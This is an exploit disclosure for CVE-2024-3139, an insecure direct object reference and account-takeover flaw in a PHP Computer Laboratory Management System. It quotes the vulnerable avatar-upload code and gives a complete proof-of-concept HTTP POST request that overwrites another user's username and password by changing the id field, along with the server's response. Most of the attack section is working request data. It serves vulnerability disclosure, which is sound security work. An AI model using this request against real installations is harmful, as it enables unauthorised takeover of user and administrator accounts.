Share
## https://sploitus.com/exploit?id=PACKETSTORM:177892
#Vulnerability Details:  
#Application Name: Computer Laboratory Management System  
#Software Link: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html  
#Vendor Homepage: https://www.sourcecodester.com/users/tips23  
#BuG: Insecure Direct Object References (IDOR) and Account Takeover  
#BuG_Author: SoSPiro  
#CVE: CVE-2024-3139  
  
# Vulnerable code section:  
  
if(!empty($_FILES['img']['tmp_name'])){  
if(!is_dir(base_app."uploads/avatars"))  
mkdir(base_app."uploads/avatars");  
$ext = pathinfo($_FILES['img']['name'], PATHINFO_EXTENSION);  
$fname = "uploads/avatars/$id.png"; // The $id value is directly used in the file path  
// Rest of the code  
}  
  
  
# Vulnerability Description:  
  
This vulnerability exists in the section of code responsible for handling file uploads. The $id variable, obtained from user input ($_POST), is utilized directly in constructing the file path without appropriate validation or authorization checks, leading to both IDOR and account takeover vulnerabilities. This allows an attacker to manipulate the $id parameter to access and modify files of other users, including administrators.  
  
  
  
# Proof of Concept (PoC):  
  
- Poc Video : https://drive.google.com/file/d/1P0Vg_sYM9S43_rJTe1l5E2Vt9gzvb0YX/view?usp=sharing  
  
  
- Request:  
  
POST /php-lms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------38244968796537297751592545024  
Content-Length: 8393  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/php-lms/admin/?page=user  
Cookie: PHPSESSID=3oor3gc9ih6iq8fu6qpjf50si8  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
X-PwnFox-Color: green  
  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="id"  
  
7  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="firstname"  
  
testtt  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="middlename"  
  
testMiddle   
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="lastname"  
  
te Last Name   
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="username"  
  
admin2  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="password"  
  
qwe123  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="img"; filename="hack.png"  
Content-Type: image/png  
  
PNG  
...  
  
- Response:  
  
  
HTTP/1.1 200 OK  
Date: Mon, 01 Apr 2024 10:19:19 GMT  
Server: Apache/2.4.54 (Win64) PHP/8.2.0 mod_fcgid/2.3.10-dev  
X-Powered-By: PHP/8.2.0  
X-Xdebug-Profile-Filename: c:/wamp64/tmp\trace.localhost.1711966759.10780.cgrind  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 1  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
1  
  
  
# Impact:  
  
This vulnerability allows attackers to access and modify user data and profile pictures, leading to potential phishing, distribution of malicious content, and reputational damage. Additionally, unauthorized access to administrator accounts can occur, resulting in the compromise of sensitive information. This poses a significant risk to the security and usability of the application.  
  
  
  
# Reproduce:  
  
https://github.com/Sospiro014/zday1/blob/main/idor%2Baccaunt_takeover.md  
https://vuldb.com/?id.258914  
https://www.cve.org/CVERecord?id=CVE-2024-3139